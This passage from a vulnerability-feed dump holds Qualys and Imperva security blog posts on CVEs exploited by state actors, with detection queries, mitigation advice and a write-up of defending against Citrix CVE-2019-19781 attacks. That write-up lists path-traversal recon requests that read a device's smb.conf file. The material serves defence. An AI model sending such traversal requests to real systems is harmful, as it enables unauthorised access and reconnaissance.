"CVE-2020-0688", "CVE-2020-10189", "CVE-2020-1472"], "modified": "2020-12-10T00:48:29", "id": "QUALYSBLOG:282A52EA9B1F4C4F3F084197709217B0", "href": "https://blog.qualys.com/category/vulnerabilities-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-12T20:01:11", "description": "On October 6, 2022, the United States National Security Agency (NSA) released a [cybersecurity advisory](<https://media.defense.gov/2022/Oct/06/2003092365/-1/-1/0/Joint_CSA_Top_CVEs_Exploited_by_PRC_cyber_actors_.PDF>) on the Chinese government\u2014officially known as the People\u2019s Republic of China (PRC) states-sponsored cyber actors' activity to seek national interests. These malicious cyber activities attributed to the Chinese government targeted, and persist to target, a mixture of industries and organizations in the United States. They provide the top CVEs used since 2020 by the People's Republic of China (PRC) states-sponsored cyber actors as evaluated by the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI). The PRC malicious actor continues to exploit known vulnerabilities to target U.S. and vigorously allied networks and software and hardware companies to rob intellectual property and develop access to sensitive networks. \n\nThey stated that PRC state-sponsored cyber activities as one of the most significant and dynamic threats to U.S. government and civilian networks. The PRC state-sponsored cyber actors persist in targeting government and critical infrastructure networks with an increasing array of new and adaptive techniques. Some could pose a considerable risk to Information Technology Sector, telecommunications organizations, Defense Industrial Base (DIB) Sector, and other critical infrastructure organizations. \n\nPRC state-sponsored cyber actors continue to exploit known vulnerabilities and use publicly available tools to target victims. Here is a list of 20 publicly known vulnerabilities (CVEs) published by the NSA, along with affected products and associated Qualys VMDR QID(s) for each vulnerability: \n\n**Vendor**| **CVE**| **Vulnerability Type**| Qualys **QID**(s) \n---|---|---|--- \n| | | \nApache Log4j | CVE-2021-44228 | Remote Code Execution | 730302, 150441, 150440, and more \nPulse Connect Secure | CVE-2019-11510 | Arbitrary File Read | 38771 \nGitLab CE/EE | CVE-2021-22205 | Remote Code Execution | 375475 \nAtlassian | CVE-2022-26134 | Remote Code Execution | 730514, 376657, 150523 \nMicrosoft Exchange | CVE-2021-26855 | Remote Code Execution | 50107, 50108 \nF5 Big-IP | CVE-2020-5902 | Remote Code Execution | 38791, 373106 \nVMware vCenter Server | CVE-2021-22005 | Arbitrary File Upload | 216265, 216266 \nCitrix ADC | CVE-2019-19781 | Path Traversal | 372685, 150273, 372305 \nCisco Hyperflex | CVE-2021-1497 | Command Line Execution | 730070 \nBuffalo WSR | CVE-2021-20090 | Relative Path Traversal | NA \nAtlassian Confluence Server and Data Center | CVE-2021-26084 | Remote Code Execution | 150368, 375839, 730172 \nHikvision Webserver | CVE-2021-36260 | Command Injection | NA \nSitecore XP | CVE-2021-42237 | Remote Code Execution | 14012 \nF5 Big-IP | CVE-2022-1388 | Remote Code Execution | 150511, 730489, 376577 \nApache | CVE-2022-24112 | Authentication Bypass by Spoofing | 730361 \nZOHO | CVE-2021-40539 | Remote Code Execution | 375840 \nMicrosoft | CVE-2021-26857 | Remote Code Execution | 50107 \nMicrosoft | CVE-2021-26858 | Remote Code Execution | 50107 \nMicrosoft | CVE-2021-27065 | Remote Code Execution | 50107 \nApache HTTP Server | CVE-2021-41773 | Path Traversal | 150373, 150372, 710595 and more \nTable 1: Top CVEs most used by Chinese state-sponsored cyber actors since 2020 \n\nNSA stated that the threat actors use virtual private networks (VPNs) to obscure their activities and establish initial access. Multiple CVEs indicated in Table 1 let the actors stealthily acquire unauthorized access into sensitive networks, after which they pursue to develop persistence and reposition laterally to other internally connected networks. \n\nThe NSA highlights how the People\u2019s Republic of China (PRC) has targeted and compromised significant telecom establishments and network service providers mostly by exploiting publicly known vulnerabilities. Networks affected have varied from small office/home office (SOHO) routers to medium and large enterprise networks. \n\nPRC state-sponsored cyber actors readily exploit vulnerabilities to compromise unpatched network devices. The devices, such as Small Office/Home Office (SOHO) routers and Network Attached Storage (NAS) devices, serve as additional access points to route command and control (C2) traffic and act as means to conduct network intrusions on other entities. Furthermore, cyber defenders often overlook these devices, who work to maintain and keep pace with frequent software patching of Internet-facing services and endpoint devices. \n\n## Detect & Prioritize 20 Publicly Known Vulnerabilities using VMDR 2.0 \n\nQualys released several remote and authenticated QIDs for commonly exploited vulnerabilities. You can search for these QIDs in [Qualys VMDR 2.0](<https://www.qualys.com/apps/vulnerability-management-detection-response/>), Vulnerabilities tab by using the following QQL query: \n\n_vulnerabilities.vulnerability.cveIds: [CVE-2021-44228, CVE-2019-11510, CVE-2021-22205, CVE-2022-26134, CVE-2021-26855, CVE-2020-5902, CVE-2021-22005, CVE-2019-19781, CVE-2021-1497, CVE-2021-20090, CVE-2021-26084, CVE-2021-36260, CVE-2021-42237, CVE-2022-1388, CVE-2022-24112, CVE-2021-40539, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-41773]_ \n\n\n\nUsing, [Qualys VMDR 2.0](<https://www.qualys.com/apps/vulnerability-management-detection-response/>), you can also effectively prioritize these vulnerabilities using the [Qualys TruRisk](<https://blog.qualys.com/vulnerabilities-threat-research/2022/10/10/in-depth-look-into-data-driven-science-behind-qualys-trurisk>).\n\n\n\n## Identify Vulnerable Assets using Qualys Threat Protection \n\nIn addition, you can locate vulnerable hosts through Qualys Threat Protection by simply clicking on the impacted hosts. This helps in effectively identifying and tracking this vulnerability. \n\n\n\nUsing the Qualys Unified Dashboard, you can track, impacted hosts, their status, and overall management in real time. With trending enabled for dashboard widgets, you can keep track of the vulnerability trends in your environment. \n\nRead the Article (Qualys Customer Portal): [NSA Top Exploited CVEs | China State Actors](<https://success.qualys.com/support/s/article/000007011>) \n\n\n\n## Recommendations & Mitigations \n\nThe NSA, CISA, and FBI recommend U.S. and allied governments, critical infrastructure, and private sector organizations use the mitigation guidance provided to boost their defensive posture and decrease the threat of compromise from PRC state-sponsored threat cyber actors. \n\nHere is a summary of mitigations guidance provided by the NSA: \n\n * Update, prioritize and patch vulnerable systems as soon as possible, as listed in this article and the list provided by [CISA KEV](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>). \n * Utilize phishing-resistant multi-factor authentication and require all accounts with a unique and strong password. \n * Block obsolete or unused protocols at the network edge. \n * Upgrade or replace end-of-life devices. \n * Move toward the Zero Trust security model. \n * Enable robust logging of Internet-facing systems and monitor the logs for anomalous activity. \n\nOne of the soundest methods that organizations of all sizes could stay on top of these vulnerabilities and end-of-life (EOL) network/device infrastructure as noted by NSA general mitigations guidelines is to catalog the infected assets and apply patches as soon as possible. This could be an effortless process if the corps utilize the power of Qualys VMDR 2.0. You can start your [Qualys VMDR 2.0 trial](<https://www.qualys.com/subscriptions/vmdr/>) for automatically identifying, detecting, and patching the high-priority commonly exploited vulnerabilities. \n\n## Contributors\n\n * Felix Jimenez Saez, Director, Product Management, Qualys\n * Swapnil Ahirrao, Principal Product Manager, VMDR, Qualys", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-10-07T20:03:01", "type": "qualysblog", "title": "NSA Alert: Topmost CVEs Actively Exploited By People\u2019s Republic of China State-Sponsored Cyber Actors", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902", "CVE-2021-1497", "CVE-2021-20090", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-26084", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-36260", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42237", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-24112", "CVE-2022-26134"], "modified": "2022-10-07T20:03:01", "id": "QUALYSBLOG:D38E3F9D341C222CBFEA0B99AD50C439", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-23T16:02:16", "description": "On October 20, 2020, the United States National Security Agency (NSA) released a [cybersecurity advisory](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>) on Chinese state-sponsored malicious cyber activity. The NSA alert provided a list of 25 publicly known vulnerabilities that are known to be recently leveraged by cyber actors for various hacking operations.\n\n"Since these techniques include exploitation of publicly known vulnerabilities, it is critical that network defenders prioritize patching and \nmitigation efforts," said the NSA advisory. It also recommended "critical system owners consider these actions a priority, in order to mitigate the loss of sensitive information that could impact U.S. policies, strategies, plans, and competitive advantage."\n\nEarlier this year, the NSA also announced Sandworm actors exploiting the [Exim MTA Vulnerability](<https://blog.qualys.com/product-tech/2020/05/29/nsa-announces-sandworm-actors-exploiting-exim-mta-vulnerability-cve-2019-10149>). Similar alerts have been published by the Cybersecurity and Infrastructure Security Agency (CISA) over the last year. CISA also issued an [advisory](<https://us-cert.cisa.gov/ncas/alerts/aa20-275a>) notifying about vulnerabilities that were exploited in the wild to retrieve sensitive data such as intellectual property, economic, political, and military information. \n\nHere is a list of 25 publicly known vulnerabilities (CVEs) published by the NSA, along affected products and associated Qualys VMDR QID(s) for each vulnerability:\n\n**CVE-ID(s)**| **Affected products**| **Qualys QID(s)** \n---|---|--- \nCVE-2020-5902| Big-IP devices| 38791, 373106 \nCVE-2019-19781| Citrix Application Delivery Controller \nCitrix Gateway \nCitrix SDWAN WANOP| 150273, 372305, 372685 \nCVE-2019-11510| Pulse Connect Secure| 38771 \nCVE-2020-8193 \nCVE-2020-8195 \nCVE-2020-8196| Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 \nCitrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7| 13833, 373116 \nCVE-2019-0708| Microsoft Windows multiple products| 91541, 91534 \nCVE-2020-15505| MobileIron Core & Connector| 13998 \nCVE-2020-1350| Microsoft Windows multiple products| 91662 \nCVE-2020-1472| Microsoft Windows multiple products| 91688 \nCVE-2019-1040| Microsoft Windows multiple products| 91653 \nCVE-2018-6789| Exim before 4.90.1| 50089 \nCVE-2020-0688| Multiple Microsoft Exchange Server| 50098 \nCVE-2018-4939| Adobe ColdFusion| 370874 \nCVE-2015-4852| Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0| 86362, 86340 \nCVE-2020-2555| Oracle Coherence product of Oracle Fusion Middleware Middleware; versions 3.7.1.0, 12.1.3.0.0, 12.2.1.3.0 and 12.2.1.4.0.| 372345 \nCVE-2019-3396| Atlassian Confluence Server before version 6.6.12, from version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3), and from version 6.14.0 before 6.14.2| 13459 \nCVE-2019-11580| Atlassian Crowd and Crowd Data Center| 13525 \nCVE-2020-10189| Zoho ManageEngine Desktop Central before 10.0.474| 372442 \nCVE-2019-18935| Progress Telerik UI for ASP.NET AJAX through 2019.3.1023| 372327, 150299 \nCVE-2020-0601| Microsoft Windows multiple products| 91595 \nCVE-2019-0803| Microsoft Windows multiple products| 91522 \nCVE-2017-6327| Symantec Messaging Gateway before 10.6.3-267| 11856 \nCVE-2020-3118| Cisco IOS XR, NCS| 316792 \nCVE-2020-8515| DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices| 13730 \n \n## Detect 25 Publicly Known Vulnerabilities using VMDR\n\nQualys released several remote and authenticated QIDs for commonly exploited vulnerabilities. You can search for these QIDs in VMDR Dashboard by using the following QQL query:\n\n_vulnerabilities.vulnerability.cveIds: [CVE-2019-11510,CVE-2020-5902,CVE-2019-19781,CVE-2020-8193,CVE-2020-8195,CVE-2020-8196,CVE-2019-0708,CVE-2020-15505,CVE-2020-1472,CVE-2019-1040,CVE-2020-1350,CVE-2018-6789,CVE-2018-4939,CVE-2020-0688,CVE-2015-4852,CVE-2020-2555,CVE-2019-3396,CVE-2019-11580,CVE-2020-10189,CVE-2019-18935,CVE-2020-0601,CVE-2019-0803,CVE-2017-6327,CVE-2020-3118,CVE-2020-8515]_\n\n * \n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), customers can effectively prioritize this vulnerability for "Active Attack" RTI:\n\n\n\n### Identify Vulnerable Assets using Qualys Threat Protection\n\nIn addition, Qualys customers can locate vulnerable host through [Qualys Threat Protection](<https://www.qualys.com/apps/threat-protection/>) by simply clicking on the impacted hosts. This helps in effectively identifying and tracking this vulnerability.\n\n\n\nWith VMDR Dashboard, you can track 25 publicly known exploited vulnerabilities, their impacted hosts, their status and overall management in real time. With trending enabled for dashboard widgets, you can keep track of these vulnerabilities trends in your environment using the ["NSA's Top 25 Vulnerabilities from China" dashboard](<https://qualys-secure.force.com/customer/s/article/000006429>).\n\n\n\n### **Recommendations**\n\nAs guided by CISA, to protect assets from exploiting, one must do the following:\n\n * Minimize gaps in personnel availability and consistently consume relevant threat intelligence.\n * Vigilance team of an organization should keep a close eye on indications of compromise (IOCs) as well as strict reporting processes.\n * Regular incident response exercises at the organizational level are always recommended as a proactive approach.\n\n#### **Remediation and Mitigation**\n\n * Patch systems and equipment promptly and diligently.\n * Implement rigorous configuration management programs.\n * Disable unnecessary ports, protocols, and services.\n * Enhance monitoring of network and email traffic.\n * Use protection capabilities to stop malicious activity.\n\n### Get Started Now\n\nStart your [Qualys VMDR trial](<https://www.qualys.com/subscriptions/vmdr/>) for automatically identifying, detecting and patching the high-priority commonly exploited vulnerabilities.\n\n### References\n\n<https://us-cert.cisa.gov/ncas/alerts/aa20-275a>\n\n<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>\n\n<https://us-cert.cisa.gov/ncas/current-activity/2020/10/20/nsa-releases-advisory-chinese-state-sponsored-actors-exploiting>", "cvss3": {}, "published": "2020-10-22T23:10:29", "type": "qualysblog", "title": "NSA Alert: Chinese State-Sponsored Actors Exploit Known Vulnerabilities", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2015-4852", "CVE-2017-6327", "CVE-2018-4939", "CVE-2018-6789", "CVE-2019-0708", "CVE-2019-0803", "CVE-2019-10149", "CVE-2019-1040", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2020-0601", "CVE-2020-0688", "CVE-2020-10189", "CVE-2020-1350", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-2555", "CVE-2020-3118", "CVE-2020-5902", "CVE-2020-8193", "CVE-2020-8195", "CVE-2020-8196", "CVE-2020-8515"], "modified": "2020-10-22T23:10:29", "id": "QUALYSBLOG:DE1FEC2B9B661D42DAA0BA398DBFD24E", "href": "https://blog.qualys.com/category/vulnerabilities-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-02T20:34:35", "description": "On July 28, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [cybersecurity advisory](<https://us-cert.cisa.gov/ncas/alerts/aa21-209a>) detailing the top 30 publicly known vulnerabilities that have been routinely exploited by cyber threat actors in 2020 and 2021. Organizations are advised to prioritize and apply patches or workarounds for these vulnerabilities as soon as possible.\n\nThe advisory states, \u201cIf an organization is unable to update all software shortly after a patch is released, prioritize implementing patches for CVEs that are already known to be exploited or that would be accessible to the largest number of potential attackers (such as internet-facing systems).\u201d\n\nCISA released the advisory in conjunction with the Australian Cyber Security Centre (ACSC), the United Kingdom\u2019s National Cyber Security Centre (NCSC), and the U.S. Federal Bureau of Investigation (FBI).\n\nThe CISA advisory is similar in scope to the October 2020 United States National Security Agency (NSA) [cybersecurity advisory](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>) listing the top 25 known vulnerabilities being actively used by Chinese state-sponsored cyber actors [that security teams can detect and mitigate or remediate](<https://blog.qualys.com/product-tech/2020/10/22/nsa-alert-chinese-state-sponsored-actors-exploit-known-vulnerabilities>) in their infrastructure using Qualys VMDR.\n\n### Top Routinely Exploited Vulnerabilities\n\nHere is the list of top routinely exploited vulnerabilities in 2020 and 2021 along with affected products and associated Qualys VMDR QID(s) for each vulnerability.\n\n**CVE-IDs**| **Affected Products**| **Qualys Detections (QIDs)** \n---|---|--- \nCVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065| Microsoft Exchange| 50107, 50108 \nCVE-2021-22893, CVE-2021-22894, CVE-2021-22899, CVE-2021-22900| Pulse Secure| 38838 \nCVE-2021-27101, CVE-2021-27102, CVE-2021-27103, CVE-2021-27104| Accellion| 38830 \nCVE-2021-21985| VMware| 730102, 216261, 216260, 216259 \nCVE-2018-13379, CVE-2020-12812, CVE-2019-5591| Fortinet| 43702, 43769, 43825 \nCVE-2019-19781| Citrix| 150273, 372305, 372685 \nCVE-2019-11510| Pulse| 38771 \nCVE-2018-13379| Fortinet| 43702 \nCVE-2020-5902| F5- Big IP| 38791, 373106 \nCVE-2020-15505| MobileIron| 13998 \nCVE-2017-11882| Microsoft| 110308 \nCVE-2019-11580| Atlassian| 13525 \nCVE-2018-7600| Drupal| 371954, 150218, 277288, 176337, 11942 \nCVE-2019-18935| Telerik| 150299, 372327 \nCVE-2019-0604| Microsoft| 110330 \nCVE-2020-0787| Microsoft| 91609 \nCVE-2020-1472| Netlogon| 91688 \n \n### Detect CISA\u2019s Top Routinely Exploited Vulnerabilities using Qualys VMDR\n\nQualys released several remote and authenticated detections (QIDs) for the vulnerabilities. You can search for these QIDs in VMDR Dashboard using the following QQL query:\n\n__vulnerabilities.vulnerability.cveIds: [_`_CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27065`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-21985`,` CVE-2018-13379`,`CVE-2020-12812`,`CVE-2019-5591`,`CVE-2019-19781`,`CVE-2019-11510`,`CVE-2018-13379`,`CVE-2020-5902`,`CVE-2020-15505`,`CVE-2017-11882`,`CVE-2019-11580`,`CVE-2019-18935`,`CVE-2019-0604`,`CVE-2020-0787`,`CVE-2020-1472`]__\n\n\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), customers can effectively prioritize this vulnerability for \u201cActive Attack\u201d RTI:\n\n\n\nWith VMDR Dashboard, you can track top 30 publicly known exploited vulnerabilities, their impacted hosts, their status and overall management in real time. With trending enabled for dashboard widgets, you can keep track of these vulnerabilities trends in your environment using the [\u201cCISA: Alert (AA21-209A) | Top Exploited\u201d dashboard](<https://success.qualys.com/support/s/article/000006738>).\n\n\n\n### Recommendations\n\nAs guided by CISA, one must do the following to protect assets from being exploited:\n\n * Minimize gaps in personnel availability and consistently consume relevant threat intelligence.\n * Organizations\u2019 vigilance team should keep a close eye on indications of compromise (IOCs) as well as strict reporting processes.\n * Regular incident response exercises at the organizational level are always recommended as a proactive approach.\n * Organizations should require multi-factor authentication to remotely access networks from external sources, especially for administrator or privileged accounts.\n * Focus cyber defense resources on patching those vulnerabilities that cyber actors most often use.\n\n### Remediation and Mitigation\n\n * Patch systems and equipment promptly and diligently.\n * Implement rigorous configuration management programs.\n * Disable unnecessary ports, protocols, and services.\n * Enhance monitoring of network and email traffic.\n * Use protection capabilities to stop malicious activity.\n\n### Get Started Now\n\nStart your [_Qualys VMDR trial_](<https://www.qualys.com/subscriptions/vmdr/>) to automatically detect and mitigate or remediate the CISA top 30 publicly known vulnerabilities that have been routinely exploited by cyber threat actors in 2020 and 2021.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-07-29T00:20:27", "type": "qualysblog", "title": "CISA Alert: Top Routinely Exploited Vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2018-13379", "CVE-2018-7600", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-5591", "CVE-2020-0787", "CVE-2020-12812", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-5902", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104"], "modified": "2021-07-29T00:20:27", "id": "QUALYSBLOG:8DC9B53E981BBE193F6EC369D7FA85F8", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "impervablog": [{"lastseen": "2020-01-19T15:26:21", "description": "On December 17, Citrix issued a [Security Bulletin](<https://support.citrix.com/article/CTX267027>) on an unauthenticated remote code execution vulnerability (CVE-2019-19781) affecting its Citrix Application Delivery Controller (ADC) - formerly known as NetScaler ADC - and its Citrix Gateway - formerly known as NetScaler Gateway.\n\nAt the time of the security bulletin release, there was no official information available on what the exact vulnerability was, although Citrix did [release Mitigation Steps for CVE-2019-19781](<https://support.citrix.com/article/CTX267679>) which shed some light on how the vulnerability was exploited. \nThe mitigation offered was to create a responder policy that would prevent HTTP requests with \u2018/../\u2019 and \u2018/vpns/\u2019 in the URL which would trigger a 403 response code.\n\nAt that point it was assumed the vulnerability would most likely take advantage of some sort of directory traversal flaw to upload malicious files to the /vpns/ path, leading to remote code execution. We created several research rules to detect HTTP requests to the suspicious path, but weren\u2019t able to capture any kind of malicious requests at that time.\n\nOn January 3, the [SANS Internet Storm Center (ISC) tweeted](<https://twitter.com/sans_isc/status/1213228049011007489>) that they\u2019d observed the \u201cfirst exploit attempt\u201d for this vulnerability in the wild, although they didn\u2019t include any additional details. At that point in time, no malicious requests were detected on any sites protected by Imperva.\n\nFrom January 7 onwards, several blog posts were published that gradually started to reveal the nature of the attack, until a POC and exploit was published on January 10.\n\nYou can read an in depth analysis of the vulnerability [here](<https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/>) and [here](<https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/>).\n\nAs attack activity rose immediately following the release of the POC/exploits, we found that the first stage of the attack was blocked out-of-the-box using existing directory traversal signatures - thus Imperva provided a mitigation for a zero day exploit.\n\nIn addition, the research rules that were set up prior to the POC/exploits both detected and blocked the second stage of the attack. What\u2019s more, they were able to block recon attempts by attackers trying to detect vulnerable Citrix ADC/GW by directly accessing the following paths, in an effort to retrieve the \u2018smb.conf\u2019 configuration file or reach the writeable script \u2018newbm.pl\u2019:\n\n * /vpns/\n * /vpn/../vpns/cfg/smb.conf\n * /vpn/../vpns/portal/scripts/newbm.pl\n\nFrom that point onwards we saw a surge in attack attempts on sites protected by Imperva, as shown in the graphs below:\n\nAfter the two initial exploits were published - a simple Bash script and a more detailed Python script - numerous other variations of the exploit appeared in several GitHub repositories. Below we can see the spread of various clients that were identified based on client verification tests, as sources of exploitation and scanning attempts on Imperva-protected sites:\n\nFrom the graph above we can see that, from January 11 onwards, most exploit attempts were executed using the Bash script - this was identified by cURL User-Agent as the script uses cURL to send the malicious request - followed by the Python scripts (there were two variations of the exploit, one using the Python urllib library, the other using the python-requests library).\n\nIn the last 24 hours (at the time of writing this post) we also noticed a sudden increase in requests from various vulnerability scanners, mainly WhiteHat Vulnerability Scanner.\n\nBelow you can see the amount of Imperva-protected sites targeted since the exploit attempts were detected in the wild, and the total number of sites attacked: \n\n\nAt the end of the day, our customers were protected right out-of-the-box in the Cloud and the On-prem WAF. The Threat Research team will keep tracking this and other zero-day vulnerabilities and their exploits, as well as constantly updating our WAF engine to provide the best mitigation to newly released vulnerabilities.\n\nThe post [Imperva Mitigates Exploits of Citrix Vulnerability - Right Out of the Box](<https://www.imperva.com/blog/imperva-mitigates-exploits-of-citrix-vulnerability-right-out-of-the-box/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-19T15:00:50", "type": "impervablog", "title": "Imperva Mitigates Exploits of Citrix Vulnerability \u2013 Right Out of the Box", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-19T15:00:50", "id": "IMPERVABLOG:4124E2CCDA610C6D222319C47C8D3250", "href": "https://www.imperva.com/blog/imperva-mitigates-exploits-of-citrix-vulnerability-right-out-of-the-box/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-08-07T08:03:43", "description": "On June 18, 2020, the Australian Cyber Security Centre (ACSC) released a disclosure detailing a \u2018sophisticated\u2019 and sustained attack against Australian government bodies and companies. The disclosure was covered by several mainstream media outlets including the [BBC](<https://www.bbc.com/news/world-australia-46096768>), and the [Guardian](<https://www.theguardian.com/australia-news/2020/jun/19/australia-cyber-attack-attacks-hack-state-based-actor-says-australian-prime-minister-scott-morrison>).\n\nThe following day, the Australian prime minister made a [statement](<https://www.pm.gov.au/media/statement-malicious-cyber-activity-against-australian-networks>) about the attacks in which, although he declined to attribute the attacks to a specific threat actor, he suggested that it was \u2018state based\u2019. According to the BBC the prime minister also stressed that the attacks were not limited only to Australia, but affected targets worldwide.\n\nSeveral exploits and indicators of compromise were outlined in the ACSC\u2019s disclosure, including initial access vectors, execution techniques, malware, and persistence techniques. These were all evaluated by our analysts to ensure that, where possible, the Imperva Cloud WAF could mitigate attempts to utilise such vectors. Naturally, some of these items fall outside of the scope of what a WAF is expected to mitigate, such as spear phishing attacks. However, in many instances, the wide-ranging capabilities of Imperva Cloud WAF allows for effective mitigation of the exploits and techniques leveraged in the campaign. In this blog post, we\u2019ll explore some of these exploits and techniques and how Imperva Cloud WAF can mitigate against them.\n\n### The Access Vectors\n\nThe ACSC identified several initial access vectors during the campaign, all of which are detailed [here](<https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf>). Let\u2019s take a brief look at a few of these vectors, and the mitigation provided by the Imperva Cloud WAF.\n\n### Telerik UI CVE-2019-18935\n\nCVE-2019-18935 is a vulnerability discovered in 2019 by researchers at [Bishop Fox](<https://know.bishopfox.com/research/cve-2019-18935-remote-code-execution-in-telerik-ui>), in the RadAsyncUpload file handler in Telerik UI for ASP.net AJAX, a commonly-used suite of web application UI components. The vulnerability is brought about by the [insecure deserialization](<https://www.imperva.com/blog/deserialization-attacks-surge-motivated-by-illegal-crypto-mining/>) of JSON objects, which can lead to remote code execution on the host.\n\nIn order to successfully exploit the insecure deserialization vulnerability identified in CVE-2019-18935, the attacker must also exploit a pre-existing file upload vulnerability, CVE-2017-11317, which identifies the use of a default encryption key to encrypt the data in file upload requests. With this knowledge, an attacker can use the key to modify the 